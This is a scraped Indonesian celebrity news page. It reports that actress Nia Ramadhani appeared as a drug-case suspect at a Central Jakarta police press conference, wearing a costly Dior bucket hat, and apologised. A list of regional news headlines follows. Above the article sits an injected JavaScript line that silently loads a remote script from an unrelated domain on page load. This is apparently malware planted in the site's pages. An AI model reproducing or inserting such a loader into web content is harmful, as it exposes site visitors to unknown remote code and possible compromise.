(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
selebriti

Nia Ramadhani Modis Dihadirkan Sebagai TSK, Harga Topinya Rp 11 Juta


KANALKALIMANTAN.COM, JAKARTA – Artis Nia Ramadhani akhirnya dihadirkan dalam jumpa pers di Polres Jakarta Pusat, Sabtu (10/7/2021). Ini kali pertama dia bicara di depan media usai ditetapkan sebagai tersangka kasus penyalahgunaan narkoba.

Istri Ardi Bakrie itu tampak memakai baju tahanan berwarna merah. Meski ditahan, penampilan ibu tiga anak itu tetap terlihat modis.

Nia Ramadhani memakai bucket hat merk Christian Dior. Wajahnya tak terlihat karena dia juga memakai masker.
Topi yang dipakai Nia Ramadhani memiliki harga relatif mahal. Di situs resmi Dior, bucket hat tersebut dibanderol 790 dolar AS atau sekitar Rp 11,4 juta.

 

 

Baca juga: Lolos Wakili Banjarbaru di Festival Model Batik di Jakarta, Reval dan Gibran Terbentur Biaya

Penampilan Nia Ramadhani juga sempat jadi sorotan ketika dia dan sang suami dibawa ke luar Polres Jakarta Pusat untuk dilakukan pengembangan beberapa hari lalu.

Di kesempatan ini, ada beberapa hal yang disampaikan Nia Ramadhani. Intinya, dia cuma menyampaikan permintaan maaf.


“Sore hari ini mohon izin. Saya dengan segala kerendahan hati untuk meminta maaf sebesar-besarnya kepada keluarga, sahabat, teman-teman, rekan kerja dan orang-orang yang sudah mengasihi saya,” kata Nia Ramadhani.

Baca juga: RESMI. Wali Kota Banjarbaru Tunda Pembelajaran Tatap Muka

Penangkapan Nia berawal dari informasi yang didapat polisi kalau RA sering memakai sabu-sabu. Dari pendalaman, polisi mengamankan ZN yang merupakan sopir Nia Ramadhani dan Ardi Bakrie.

Dari tangan ZN, polisi menemukan satu klip sabu yang diakui milik Nia Ramadhani. Nia tak membantah dan malah menyebut kalau dia sering memakai sabu bersama sang suami.

ZN dan Nia Ramadhani digelandang ke Polres Jakarta Pusat. Tak lama kemudian, Ardi Bakrie datang menyerahkan diri.

Kini ketiganya ditetapkan sebagai tersangka dan dikenakan pasal 127 Undang-Undang Nomor 35 Tahun 2009 tentang Narkotika. Ancamannya maksimal empat tahun penjara. (Suara.com)

Editor : kk


Risa

Recent Posts

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

2 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

6 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

6 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

6 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

8 jam ago

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

9 jam ago

This website uses cookies.